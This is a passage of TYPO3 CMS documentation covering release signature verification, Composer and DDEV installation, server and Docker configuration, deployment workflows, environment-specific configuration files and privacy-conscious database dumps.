Once the public key has been imported, the previous command on verifying the signature of the typo3_src-12.4.11.tar.gz file can be repeated.

 $
gpg --verify typo3_src-12.4.11.tar.gz.sig typo3_src-12.4.11.tar.gz
Copied!
gpg: Signature made Tue Feb 13 10:56:11 2024 CET
gpg:                using RSA key 2B1F3D58AEEFB6A7EE3241A0C19FAFD699012A5A
gpg: Good signature from "Oliver Hader <oliver@typo3.org>" [unknown]
gpg:                 aka "Oliver Hader <oliver.hader@typo3.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 0C4E 4936 2CFA CA0B BFCE  5D16 A36E 4D1F 1649 0937
     Subkey fingerprint: 2B1F 3D58 AEEF B6A7 EE32  41A0 C19F AFD6 9901 2A5A
Copied!

The new warning is expected since everybody could have created the public key and uploaded it to the key server. The important point here is to validate the key fingerprint 0C4E 4936 2CFA CA0B BFCE 5D16 A36E 4D1F 1649 0937 which is in this case the correct one for TYPO3 CMS release packages (see below for a list of currently used keys or access the https://get.typo3.org/KEYS file directly).

 $
gpg --fingerprint 0C4E49362CFACA0BBFCE5D16A36E4D1F16490937
Copied!
pub   rsa4096 2017-08-10 [SC] [expires: 2024-08-14]
     0C4E 4936 2CFA CA0B BFCE  5D16 A36E 4D1F 1649 0937
uid           [ unknown] Oliver Hader <oliver@typo3.org>
uid           [ unknown] Oliver Hader <oliver.hader@typo3.org>
sub   rsa4096 2017-08-10 [E] [expires: 2024-08-14]
sub   rsa4096 2017-08-10 [S] [expires: 2024-08-14]
Copied!

Checking tag signature

Checking signatures on Git tags works similar to verifying the results using the gpg tool, but with using the git tag --verify command directly.

 $
git tag --verify v12.4.11
Copied!
object 3f83ff31e72053761f33b975410fa2881174e0e5
type commit
tag v12.4.11
tagger Oliver Hader <oliver@typo3.org> 1707818102 +0100

Release of TYPO3 12.4.11
gpg: Signature made Tue Feb 13 10:55:02 2024 CET
gpg:                using RSA key 2B1F3D58AEEFB6A7EE3241A0C19FAFD699012A5A
gpg: Good signature from "Oliver Hader <oliver@typo3.org>" [unknown]
gpg:                 aka "Oliver Hader <oliver.hader@typo3.org>" [unknown]
Primary key fingerprint: 0C4E 4936 2CFA CA0B BFCE  5D16 A36E 4D1F 1649 0937
     Subkey fingerprint: 2B1F 3D58 AEEF B6A7 EE32  41A0 C19F AFD6 9901 2A5A
Copied!

The git show command on the name of the tag reveals more details.

 $
git show v12.4.11
Copied!
tag v12.4.11
Tagger: Oliver Hader <oliver@typo3.org>
Date:   Tue Feb 13 10:55:02 2024 +0100

Release of TYPO3 12.4.11
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
Copied!

Public keys for release integrity checks

You can download the used public keys from get.typo3.org.keys

Installing TYPO3 with Composer

This chapter covers each of the steps required to install TYPO3 using Composer.

For more information on how to deploy TYPO3 to a live environment, visit the deploying TYPO3 chapter.

Pre-installation checklist

  • Command line (CLI) access with the ability to create directories and symbolic links.
  • Access to Composer via the CLI (for local development)
  • Access to the web server's root directory
  • Database with appropriate credentials

Create the project with Composer

The following command will install TYPO3 v13. If you want to install another version of TYPO3 find documentation by using the version selector on the left side of this page.

At the root level of your web server, execute the following command:

composer create-project typo3/cms-base-distribution example-project-directory "^13"
Copied!
composer create-project "typo3/cms-base-distribution:^13" example-project-directory
Copied!
# Create a directory for your project
mkdir example-project-directory

# Go into that directory
cd example-project-directory

# Tell DDEV to create a new project of type "typo3"
# 'docroot' MUST be set to 'public'
# At least PHP 8.2 is required by TYPO3 v13. Adapt the PHP version to your needs.
ddev config --project-type=typo3 --docroot=public --php-version 8.2

# Start the server
ddev start

# Fetch a basic TYPO3 installation and its dependencies
ddev composer create "typo3/cms-base-distribution:^13"
Copied!

This command pulls down the latest release of the given TYPO3 version and places it in the example-project-directory/.

After this command has finished running, the example-project-directory/ folder contains the following files and folders, where var/ is added after the first login into the TYPO3 backend:

  • public
  • var
  • vendor
  • .gitignore
  • composer.json
  • composer.lock
  • LICENSE
  • README.md

Install TYPO3 on the server with Composer

If you are planning to work directly on the server rather than locally, read chapter Installing and using TYPO3 directly on the server, expecially the Quick wins & caution flags.

If Composer is available, installation is simple. If not, you may need to find or install it. See Finding or installing Composer on the server.

composer create-project "typo3/cms-base-distribution:^13.4" my-new-project
Copied!

If the composer command doesn't work, check the command path or install it. See Finding or installing Composer_.

Once the project is created, continue with Setup TYPO3.

Run the setup process

Setup TYPO3 in the console

A CLI command setup can be used as an alternative to the existing GUI-based web installer.

Interactive / guided setup (questions/answers):

# Use console command to run the install process
# or use the Install Tool GUI (See below)
./vendor/bin/typo3 setup
Copied!
# Use console command to run the install process
# or use the Install Tool GUI (See below)
./vendor/bin/typo3 setup
Copied!
# Use console command to run the install process
# or use the Install Tool GUI (See below)
ddev exec ./vendor/bin/typo3 setup
Copied!

Or use the GUI installer in the browser

Create an empty file called FIRST_INSTALL in the public/ directory:

touch example-project-directory/public/FIRST_INSTALL
Copied!
echo $null >> public/FIRST_INSTALL
Copied!
ddev exec touch public/FIRST_INSTALL
Copied!
  • public

    • FIRST_INSTALL
  • var
  • vendor
  • .gitignore
  • composer.json
  • composer.lock
  • LICENSE
  • README.md

Access TYPO3 via a web browser

After you have configured your web server to point at the public directory of your project, TYPO3 can be accessed via a web browser. When accessing a new site for the first time, TYPO3 automatically redirects all requests to /typo3/install.php to complete the installation process.

Scan environment

TYPO3 will now scan the host environment. During the scan TYPO3 will check the host system for the following:

  • Minimum required version of PHP is installed.
  • Required PHP extensions are loaded.
  • php.ini is configured.
  • TYPO3 is able to create and delete files and directories within the installation's root directory.

If no issues are detected, the installation process can continue.

In the event that certain criteria are not met, TYPO3 will display a list of issues it has detected accompanied by a resolution for each issue.

Once changes have been made, TYPO3 can re-scan the host environment by reloading the page https://example-project-site.local/typo3/install.php.

Install Tool in 1-2-3 mode, first step.

Select a database

Select a database connection driver and enter the credentials for the database.

Install Tool in 1-2-3 mode, second step.

TYPO3 can either connect to an existing empty database or create a new one.

The list of databases available is dependent on which database drivers are installed on the host.

For example, if an instance of TYPO3 is intended to be used with a MySQL database then the PHP extension pdo_mysql is required. Once it is installed, MySQL Database will be available as an option.

Install Tool in 1-2-3 mode, third step.

Create administrative user & set site name

An administrator account needs to be created to gain access to TYPO3's backend.

An email address for this user can also be specified and a name can be given.

Install Tool in 1-2-3 mode, forth step.

Initialize

TYPO3 offers two options for initialisation: creating an empty starting page or it can go directly to the backend administrative interface.

Beginners should select the first option and allow TYPO3 to create an empty starting page. This will also generate a site configuration file.

Install Tool in 1-2-3 mode, fifth step.

Using DDEV

A step-by-step tutorial is available on how to Install TYPO3 using DDEV. The tutorial also includes a video.

Installing and using TYPO3 directly on the server

For very small TYPO3 projects or when you're under time pressure, working directly on the server is acceptable.

Some hosting providers provide preinstalled TYPO3 installations, usually in classic mode where you do not have to install TYPO3 yourself.

Choose the method of installation

If your hosting provider does not come with a preinstalled TYPO3 project you will have to install it yourself.

First, decide whether to use Composer or not.

Use Composer if:

  • Your hosting environment supports using the command line and Composer.
  • You are comfortable using the command line.
  • You want better control over TYPO3 and extension versions.
  • You plan to use version control (like Git) and a local development setup in the future.
  • You want easier updates and a cleaner project structure.

Continue with Installing TYPO3 with Composer.

Use the non-Composer (classic) method if:

  • Your hosting environment is limited or does not support Composer.
  • You are not comfortable using the command line and Composer.
  • You prefer to upload files manually via FTP.

It is perfectly fine to start with the Classic mode installation method if you do not have time right now to learn Composer, Git, or deployment workflows. TYPO3 can still run well in this setup, especially in smaller projects. Just be aware that as your project grows or you take on more work, learning these tools will make your life easier. You can Migrate to Composer later on.

Quick wins & caution flags

When it makes sense

This workflow is useful when:

  • You want to try out TYPO3 without having to get your head round installation, etc.
  • The project is very small (a landing page for a campaign or a page for a local sports club).
  • Only one person is working on the project.
  • You need to deliver a fast prototype or campaign page.
  • There is no immediate need for collaboration, version control, or automation.

In these cases, skipping complex deployment workflows is a valid short-term decision.

What can go wrong

Despite the convenience, there are significant risks:

Instant Mistakes: All changes go live immediately. A typo can take your site down.

Updates are harder: Without a clean setup or version control, updates can break things, and it is hard to know what was changed or how to fix it.

Untracked Changes: Without documentation or Git, it is easy to forget what was changed and why.

No Version Control: Overwriting files without Git means no history, no rollback, and no recovery if something breaks.

Collaboration Conflicts: Multiple developers working directly on the live server can overwrite each other's changes.

Non-reproducible Environments: Manual changes build up over time, making the setup hard to replicate elsewhere (for testing or staging).

How to make it safer

If you must work directly on the server, here are some best practices to reduce risk:

Backups: Regularly back up the file system and database. Use automated tools or manual exports. Store backups off the live server.

Use Git locally: Even without deployment workflows, using Git locally lets you track changes before uploading manually.

Avoid changing Core files in Classic mode installations do not make changes in the folder typo3 or typo3_source. In Composer-based installations don't make any changes in the folder vendor.

Manual changelogs: Keep a CHANGES.md or notes file listing every change. This is especially helpful when revisiting a project later.

Avoid direct database editing: Use the TYPO3 backend instead of modifying the database through tools like phpMyAdmin.

Restrict Access: Limit server and backend access to trusted users. Avoid casual live editing with full admin permissions.

Finding or installing Composer on the server

If composer is not found when you run it, you may need to use a full path or install it manually.

Try finding the PHP and Composer paths using which:

$ which php
/opt/php-8.3/bin/php
$ which composer
/usr/local/bin/composer
Copied!

Use full paths instead of just composer, for example:

/opt/php-8.3/bin/php /usr/local/bin/composer create-project \
    "typo3/cms-base-distribution:^13.4" my-new-project
Copied!

If Composer is not installed, you can download it here: https://getcomposer.org/download/

Then run it like this:

/opt/php-8.3/bin/php composer.phar create-project \
    "typo3/cms-base-distribution:^13.4" my-new-project
Copied!

Refer to your hosting provider’s documentation if you have multiple PHP versions or need special access.

Example: Use specific PHP versions in the console (jweiland.net)

System requirements for running TYPO3

TYPO3 requires a web server, PHP, and a supported database system. Composer is required for Composer-based installations, especially during development.

PHP requirements and configuration

TYPO3 requires PHP with a supported version and specific configuration values and extensions.

Required and optional PHP extensions

Required extensions:

  • pdo
  • session
  • xml
  • filter
  • SPL
  • standard
  • tokenizer
  • mbstring
  • intl

Optional but commonly used:

  • fileinfo – for detecting uploaded file types
  • gd – for image generation and scaling
  • zip – for language packs and extension archives
  • zlib – for output compression
  • openssl – for encrypted SMTP mail delivery

Database-specific PHP extensions

  • pdo_mysql (recommended)
  • or mysqli

MySQL/MariaDB must support the InnoDB engine.

  • pdo_pgsql
  • pgsql
  • sqlite3

Image processing requirements

If you want TYPO3 to automatically process images (e.g. cropping, resizing, thumbnail generation), install one of the following tools on your server:

These tools are used by TYPO3 for features such as image rendering in content elements and backend previews.

Supported web servers and configuration

TYPO3 supports the following web servers, each requiring specific configuration:

Apache web server configuration

TYPO3 includes a .htaccess file with rewrite and security rules.

Apache .htaccess configuration file

This file configures:

  • URL rewriting
  • Security and access control
  • PHP directives
  • MIME types

TYPO3 installs this file automatically. On major upgrades, check for new directives and merge them if needed.

You can check the .htaccess status under:

Admin Tools > Environment > Check Directory Status

Apache virtual host requirements

Your Apache VirtualHost must include:

AllowOverride Indexes FileInfo
Copied!

NGINX web server configuration

NGINX does not support .htaccess files. Configuration must be done at the system level.

Example: /etc/nginx/conf.d/typo3.conf
# TYPO3 - GZIP support for versioned .js and .css files
location ~ \.js\.gzip$ {
    add_header Content-Encoding gzip;
    gzip off;
    types { text/javascript gzip; }
}
location ~ \.css\.gzip$ {
    add_header Content-Encoding gzip;
    gzip off;
    types { text/css gzip; }
}

# TYPO3 - Rewrite versioned static resources
if (!-e $request_filename) {
    rewrite ^/(.+)\.(\d+)\.(php|js|css|png|jpg|gif|gzip)$ /$1.$3 last;
}

# TYPO3 - Deny access to sensitive files and directories
location ~* composer\.(?:json|lock)$       { deny all; }
location ~* flexform[^.]*\.xml$            { deny all; }
location ~* locallang[^.]*\.(?:xml|xlf)$   { deny all; }
location ~* ext_conf_template\.txt$        { deny all; }
location ~* ext_typoscript_.*\.txt$        { deny all; }
location ~* \.(?:bak|co?nf|cfg|ya?ml|ts|typoscript|tsconfig|dist|fla|in[ci]|log|sh|sql|sqlite)$ {
    deny all;
}
location ~ _(?:recycler|temp)_/            { deny all; }
location ~ fileadmin/(?:templates)/.*\.(?:txt|ts|typoscript)$ { deny all; }
location ~ ^(?:vendor|typo3_src|typo3temp/var) { deny all; }
location ~ (?:typo3conf/ext|typo3/sysext|typo3/ext)/[^/]+/(?:Configuration|Resources/Private|Tests?|docs?)/ {
    deny all;
}

# TYPO3 - Frontend entry point
location / {
    try_files $uri $uri/ /index.php$is_args$args;
}

# TYPO3 - Backend entry point
location = /typo3 {
    rewrite ^ /typo3/;
}
location /typo3/ {
    absolute_redirect off;
    try_files $uri /index.php$is_args$args;
}

# TYPO3 - PHP handler via PHP-FPM
location ~ [^/]\.php(/|$) {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
    if (!-f $document_root$fastcgi_script_name) {
        return 404;
    }
    fastcgi_buffer_size 32k;
    fastcgi_buffers 8 16k;
    fastcgi_connect_timeout 240s;
    fastcgi_read_timeout 240s;
    fastcgi_send_timeout 240s;

    fastcgi_pass         php-fpm:9000;
    fastcgi_index        index.php;
    include              fastcgi.conf;
}
Copied!

IIS (Windows) web server configuration

TYPO3 includes a default web.config file for IIS with rewrite rules.

Requirements:

File location:

EXT:install/Resources/Private/FolderStructureTemplateFiles/root-web-config

Using TYPO3 with Docker-based environments

TYPO3 runs well in Docker-based environments. You can combine PHP with Apache or NGINX using official base images.

Recommended base images:

  • Apache: php:8.4-apache
  • NGINX: nginx:stable + php:8.4-fpm

Install required PHP extensions and set suitable PHP configuration.

Dockerfile for Apache with PHP 8.4
FROM php:8.4-apache

# Enable Apache mod_rewrite
RUN a2enmod rewrite

# Install required PHP extensions for TYPO3
RUN apt-get update && apt-get install -y \
    libzip-dev libpng-dev libxml2-dev libonig-dev libicu-dev unzip git \
    && docker-php-ext-install \
    pdo pdo_mysql mysqli intl xml mbstring tokenizer opcache zip gd \
    && apt-get clean && rm -rf /var/lib/apt/lists/*

# Set recommended PHP settings
COPY php.ini /usr/local/etc/php/

# Document root
WORKDIR /var/www/html
Copied!
Dockerfile for PHP 8.4 with FPM (for NGINX)
FROM php:8.4-fpm

# Install required PHP extensions for TYPO3
RUN apt-get update && apt-get install -y \
    libzip-dev libpng-dev libxml2-dev libonig-dev libicu-dev unzip git \
    && docker-php-ext-install \
    pdo pdo_mysql mysqli intl xml mbstring tokenizer opcache zip gd \
    && apt-get clean && rm -rf /var/lib/apt/lists/*

# Set recommended PHP settings
COPY php.ini /usr/local/etc/php/

# Document root
WORKDIR /var/www/html
Copied!

See NGINX web server configuration for NGINX configuration.

This image provides PHP-FPM only and is intended to be used together with a separate NGINX container. For guidance on configuring NGINX and PHP-FPM containers to work together, refer to the official Docker documentation:

https://docs.docker.com/samples/php/#nginx--php-fpm

The Dockerfiles reference a php.ini file with recommended settings:

Custom php.ini used in Dockerfiles
memory_limit = 256M
max_execution_time = 240
max_input_vars = 1500
post_max_size = 10M
upload_max_filesize = 10M
pcre.jit = 1
Copied!

Using DDEV for local TYPO3 development

DDEV is a widely used and recommended solution for running TYPO3 projects locally. It provides a preconfigured Docker-based environment with TYPO3- compatible PHP, web server, and database services.

To set up a TYPO3 project with PHP 8.4, run:

ddev config --php-version 8.4 --docroot public --project-type typo3
Copied!

This will generate the necessary configuration and allow you to start the project using:

ddev start
Copied!

DDEV supports Composer-based TYPO3 projects and works on Linux, macOS, and Windows. It is ideal for teams and reproducible local setups.

Supported database systems and required permissions

TYPO3 supports the following relational database systems:

  • MySQL
  • MariaDB
  • PostgreSQL
  • SQLite

Each system has specific configuration and extension requirements. See the list of required PHP extensions for supported databases:

The database user must be granted specific privileges to allow TYPO3 to function correctly.

Required database privileges for TYPO3

Required:

  • SELECT, INSERT, UPDATE, DELETE
  • CREATE, DROP, INDEX, ALTER
  • CREATE TEMPORARY TABLES, LOCK TABLES

Recommended:

  • CREATE VIEW, SHOW VIEW
  • EXECUTE, CREATE ROUTINE, ALTER ROUTINE

SQL mode compatibility

TYPO3 expects compatibility with the default SQL_MODE settings of supported databases.

These SQL modes are tested and supported:

  • STRICT_ALL_TABLES
  • STRICT_TRANS_TABLES
  • ONLY_FULL_GROUP_BY
  • NO_ENGINE_SUBSTITUTION
  • ERROR_FOR_DIVISION_BY_ZERO

The following mode is known to be incompatible:

  • NO_BACKSLASH_ESCAPES

Custom or third-party extensions should be tested individually.

Composer usage in TYPO3 projects

Composer is required for Composer-based TYPO3 installations and is commonly used in modern development workflows.

It is not required for Classic mode installations using the source package.

In production environments, Composer is not needed if the project is deployed using file-based methods (for example Rsync, Deployer).

Deploying TYPO3

This guide explains how to deploy a TYPO3 project to a production environment securely and efficiently. It covers both manual deployment and automated strategies using deployment tools.

TYPO3 can be deployed in various ways. A common and simple approach is to copy files and the database from a local environment to the live server.

However, for larger or more professional projects, automated deployments using tools are highly recommended.

What is deployment and why do I need it?

It is recommended to develop TYPO3 projects locally on your computer using, for example, Docker, DDEV, or a local PHP and database installation. At some point you will want to transfer your work to the server for a first initial deployment, which can be done manually or semi-manually.

As time goes on, you will fix bugs, prepare updates and develop new features on your local computer. These changes will then need to be transferred to the server. This can be done manually or can be automated.

Deployment can only be avoided if you Install and use TYPO3 directly on the server, which comes with a number of Quick wins & pitfalls.

Manual deployment of a Composer-based installation

The deployment process for TYPO3 can be divided into two parts:

  1. Initial Deployment – the first time the project is set up on the server.
  2. Regular Deployment – ongoing updates to code or configuration.

Initial deployment

This is the first deployment of TYPO3 to a production environment. It includes setting up the full application, database, and user-generated content.

Steps:

  1. Build the project locally:

    composer install --no-dev
    Copied!
  2. Export the local database using mysqldump, ddev export-db, or a GUI-based tool like Heidi SQL or phpmyadmin.

    mysqldump -u <user> -p -h <host> <database_name> > dump.sql
    Copied!
    ddev export-db --file=dump.sql
    Copied!
  3. Transfer all necessary files to the server.

    Folders to include:

    • public/
    • config/
    • vendor/,
    • Files from the project directory: composer.json, composer.lock

    You can speed up the transfer using archive tools like zip or tar, or use rsync.

  4. Import the database on the production server, for example using mysql:

    mysql -u <user> -p -h <host> <database_name> < dump.sql
    Copied!
  5. Set up shared and writable directories on the server:

    • public/fileadmin/
    • var/
  6. Adjust web server configuration:

    • Set the document root to public/
    • Ensure correct permissions for writable folders
  7. Flush TYPO3 caches:

    ./vendor/bin/typo3 cache:flush
    Copied!

Regular deployment

After the initial deployment, regular deployments are used to update code and configuration.

Steps:

  1. Prepare the updated version locally:

    • Apply code or configuration changes
    • Run:

      composer install --no-dev
      Copied!
  2. Transfer only updated files to the server.

    Include:

    • public/ (excluding fileadmin/, uploads/)
    • config/
    • vendor/
    • composer.lock
    • etc.

    Do not include dynamic or environment-specific files such as:

    • var/, public/fileadmin/, (these are managed on the server)

    You can speed up the transfer using archive tools like zip or tar, or use rsync to copy only changed files.

  3. If database changes are required:

    • Run the Upgrade Wizard in the TYPO3 backend
    • Or apply schema changes via CLI tools
  4. Flush TYPO3 caches:

    ./vendor/bin/typo3 cache:flush
    Copied!

Deployment Automation

A typical setup for deploying web applications consists of three different parts:

  • The local environment (for development)
  • The build environment (for reproducible builds). This can be a controlled local environment or a remote continuous integration server (for example Gitlab CI or Github Actions)
  • The live (production) environment

To get an application from the local environment to the production system, the usage of a deployment tool and/or a continuous integration solution is recommended. This ensures that only version-controlled code is deployed and that builds are reproducible. Ideally setting a new release live will be an atomical operation and lead to no downtime. If there are errors in any of the deployment or test stages, most deployment tools will initiate an automatic "rollback" preventing that an erroneous build is released.

One widely employed strategy is the "symlink-switching" approach:

In that strategy, the webserver serves files from a virtual path releases/current/public which consists of a symlink releases/current pointing to the latest deployment ("release"). That symlink is switched after a new release has been successfully prepared. The latest deployment contains symlinks to folders that should be common among all releases (commonly called "shared folders").

Usually the database is shared between releases and upgrade wizards and schema upgrades are run automatically before or shortly after the new release has been set live.

This is an exemplatory directory structure of a "symlink-switching" TYPO3 installation:

  • shared

    • fileadmin
    • var

      • charset
      • lock
      • log
      • session
  • releases

    • current -> ./release1 (symlink to current release)
    • release1

      • public (webserver root, via releases/current/public)

        • typo3conf
        • fileadmin -> ../../../shared/fileadmin (symlink)
        • index.php
      • var

        • build
        • cache
        • charset -> ../../../shared/var/charset (symlink)
        • labels
        • lock -> ../../../shared/var/lock (symlink)
        • log -> ../../../shared/var/log (symlink)
        • session -> ../../../shared/var/session (symlink)
      • vendor
      • composer.json
      • composer.lock

The files in shared are shared between different releases of a web site. The releases directory contains the TYPO3 code that will change between the release of each version.

When using a deployment tool this kind of directory structure is usually created automatically.

The following section contains examples for various deployment tools and how they can be configured to use TYPO3:

Multi-stage environment workflow for TYPO3

TYPO3 projects typically move through several stages on their way from development to production. This document provides an overview of common environment stages, deployment flows, and best practices for managing TYPO3 instances across these stages.

Separating your TYPO3 project into multiple environments allows you to:

  • Develop and test changes safely without impacting the live site.
  • Collaborate in a team across shared environments.
  • Perform client acceptance testing on a production-like system.
  • Promote stable changes toward production in a controlled manner.

Common environment stages

Local development

Individual developers work on their local machines using tools such as ddev, Docker, or LAMP stacks. This stage is ideal for:

  • Developing new features or bug fixes.
  • Running automated tests.
  • Experimenting without affecting others.

Integration / development environment

A shared environment where multiple developers push and integrate their changes. Useful for:

  • Team-wide integration testing.
  • Early feedback loops.
  • Continuous integration pipelines.

Staging / pre-production environment

A production-like environment for:

  • Client or stakeholder acceptance testing.
  • Verifying deployment procedures.
  • Performance or load testing.

Production / live environment

The final, customer-facing live site. Key requirements include:

  • High availability.
  • Security hardening.
  • Data integrity and performance optimization.

Best practices

  • Mirror production as closely as possible in staging.
  • Isolate environment-specific configuration.
  • Never use real production data in earlier stages without proper anonymization.
  • Automate deployment and testing where possible.
  • Control access to non-production environments.

Separating your TYPO3 project into multiple environments helps ensure reliable development and deployment workflows. Combine this conceptual workflow with TYPO3’s environment configuration features for maximum flexibility and security.

Configuring environments

A TYPO3 instance is often used in different contexts that can adapt to your custom needs:

  • Local development
  • Staging environment
  • Production environment
  • Feature preview environments
  • ...

These can be managed via the same installation by applying different values for configuration options.

The configuration options can be managed either by an .env file or just simple PHP files. Each environment would load the specific .env/PHP file, which is usually bound to an application context (Development, Production).

For example, using a .env file in your project root, you can define several variables:

<project-root>/.env
# Mail settings
TYPO3_MAIL_TRANSPORT="smtp"
TYPO3_MAIL_TRANSPORT_SMTP_SERVER="smtp.example.com:25"
TYPO3_MAIL_TRANSPORT_SMTP_USERNAME="info@example.com"
TYPO3_MAIL_TRANSPORT_SMTP_PASSWORD="verySafeAndSecretPassword0815!"

# Database settings
TYPO3_DB_DBNAME="typo3"
TYPO3_DB_HOST="db.example.com"
TYPO3_DB_PASSWORD="verySafeAndSecretPassword0815!"
TYPO3_DB_USER="typo3"

# Rootpath for files
TYPO3_BE_LOCKROOTPATH="/var/www/shared/files/"
Copied!

The next step is to retrieve these values in the TYPO3 application bootstrap process. The best place for this is inside system/additional.php (see System configuration files). The PHP code for this could look like:

config/system/additional.php
<?php

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport']
    = $_ENV['TYPO3_MAIL_TRANSPORT'];
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server']
    = $_ENV['TYPO3_MAIL_TRANSPORT_SMTP_SERVER'];
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username']
    = $_ENV['TYPO3_MAIL_TRANSPORT_SMTP_USERNAME'];
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password']
    = $_ENV['TYPO3_MAIL_TRANSPORT_SMTP_PASSWORD'];

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['dbname']
    = $_ENV['TYPO3_DB_DBNAME'];
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['host']
    = $_ENV['TYPO3_DB_HOST'];
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['password']
    = $_ENV['TYPO3_DB_PASSWORD'];
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['user']
    = $_ENV['TYPO3_DB_USER'];

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] = [
    $_ENV['TYPO3_BE_LOCKROOTPATH'],
];
Copied!

Each environment would have its own .env file, which is only stored on the corresponding target system. The development environment file could be saved as .env.example or delivered as the default .env in your project.

It is not recommended to store the actual .env file in your version control system (e.g. Git), only an example without sensitive information. The main reason is that these files usually hold credentials or other sensitive information.

You should only store environment-specific configuration values in such a configuration file. Do not use this to manage all the TYPO3 configuration options. Examples of well-suited configuration options:

The following sections describe this implementation process in depth.

.env / dotenv files

A central advantage of .env files is that environment variables can also be set in Console commands (CLI) CLI context or injected via Continuous Integration/Deployment (CI/CD) systems (GitLab/GitHub) or even webserver configuration. It is also helpful to have a central place for environment-specific configuration.

To let your TYPO3 configuration parse keys and values stored in such a file, you need a library like https://github.com/symfony/dotenv/ or https://github.com/vlucas/phpdotenv/, and parse it in your system/additional.php

You can require these libraries through Packagist/Composer.

Example for symfony/dotenv:

config/system/additional.php
<?php

use Symfony\Component\Dotenv\Dotenv;
use TYPO3\CMS\Core\Core\Environment;

$dotenv = new Dotenv();
$dotenv->load(Environment::getProjectPath() . '/.env');
Copied!

Example for vlucas/phpdotenv:

config/system/additional.php
<?php

use Dotenv\Dotenv;
use TYPO3\CMS\Core\Core\Environment;

defined('TYPO3') or die();

$dotenv = Dotenv::createUnsafeImmutable(Environment::getProjectPath());
$dotenv->load();
Copied!

Once this code has loaded the content from the .env file into $_ENV variables, you can access contents of the variables anywhere you need.

helhum/dotenv-connect

You can also use https://github.com/helhum/dotenv-connector/ (via the Packagist package helhum/dotenv-connector) to allow accessing $_ENV variables directly within the Composer autoload process.

This has two nice benefits:

  • You can even set the TYPO3_CONTEXT application context environment variable through an .env file, and no longer need to specify that in your webserver configuration (for example, via .htaccess or virtual host configuration).
  • You do not need to add and maintain such loading code to your additional.php file.

The drawback is that you will have an additional dependency on another package, and glue code that is outside of your own implementation.

Plain PHP configuration files

If the concept of requiring a specific file format and their loader dependencies seems like too much overhead for you, something similar can be achieved by including environment-specific PHP files.

For example, you can create a custom file like system/environment.php that will only be placed on your specific target server (and not be kept in your versioning control system).

config/system/environment.php
<?php

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport']
    = 'smtp';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server']
    = 'smtp.example.com:25';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username']
    = 'info@example.com';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password']
    = 'verySafeAndSecretPassword0815!';

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['dbname']
    = 'typo3';
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['host']
    = 'db.example.com';
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['password']
    = 'verySafeAndSecretPassword0815!';
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['user']
    = 'typo3';

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] = [
    '/var/www/shared/files/',
];
Copied!

This file would also need to be loaded through the additional configuration workflow (which can be kept in your versioning control system):

config/system/additional.php
<?php

defined('TYPO3') or die();

require __DIR__ . '/environment.php';
Copied!

Of course, you can move such a file to a special Shared/Data/ directory (see Deploying TYPO3), as long as you take care the file is outside your public web root directory scope.

The file additional.php can still contain custom changes that shall be applied to every environment of yours, and that is not managed through settings.php.

Best practices for managing multiple environments

TYPO3 projects often go through various stages, such as local development, integration, staging, and production.

For an overview of typical environment workflows, stable product promotion strategies, and team collaboration best practices, refer to the following chapters:

Synchronizing database content across environments

TYPO3 projects not only involve managing code and configuration across multiple environments but also database content and user data.

This chapter focuses on managing database schema and content, covering strategies for synchronizing schema changes, handling personal data responsibly, and managing content between development, staging, and production systems.

Database schema and structural synchronization

TYPO3 manages database schema definitions through:

  • ext_tables.sql files provided by extensions.
  • TCA definitions for records and tables.

You can also use external tools like Doctrine Migrations or custom scripts to automate structural changes if your project requires more control.

Content and handling of personal data

When you copy database content between environments, data privacy and regulatory requirements such as GDPR must be adhered to.

Best practices include:

  • Avoid transferring personal or sensitive data to non-production systems.
  • Anonymize or pseudonymize user records and personal information.
  • Limit content synchronization to necessary data only.

For example:

  • Export only specific pages or records.
  • Strip sensitive tables like fe_users, sys_log, or cache_*.
  • Replace personal data with dummy values.

Import/Export workflows in TYPO3

TYPO3 provides a built-in Import/Export module, typo3/cms-impexp , that allows exporting and importing database records as .t3d files.

The module is designed to work with structured data that is stored in the TYPO3 database, such as:

  • Pages and their content elements
  • Records in system and extension tables

It can include referenced files, such as images or user uploads, when these files are related to exported records. These files are bundled alongside the .t3d export if the option to include files is selected.

Typical use cases include:

  • Moving page trees or content elements between systems.
  • Providing editors with content snapshots for review or duplication.
  • Exporting small sets of records along with their referenced files.

Limitations to consider:

  • Exported files may not capture all dependencies or extension-specific data.
  • It may not scale well for large datasets or complete site transfers.
  • Including large file sets can make exports unwieldy.

You can work with Export Presets to make export settings repeatable and consistent.

You can also use the Command Line Interface to automate exports in your CI/CD pipeline or to avoid PHP runtime limitations.

Reduced database dumps

In many projects, reduced database dumps can be used to create realistic and privacy-compliant datasets for development or staging.

Typical strategies include:

  • Dumping only structure and selected content tables.
  • Excluding sensitive tables such as:

    • fe_users
    • be_users
    • sys_log
    • be_sessions
    • cache_*

Example mysqldump commands:

# Export the database structure only
mysqldump --no-data -u user -p database > structure.sql

# Export the data, excluding sensitive or unnecessary tables
mysqldump \
    --ignore-table=database.fe_users \
    --ignore-table=database.be_users \
    --ignore-table=database.sys_log \
    --ignore-table=database.be_sessions \
    --ignore-table=database.cache_* \
    -u user -p database > reduced_dump.sql
Copied!

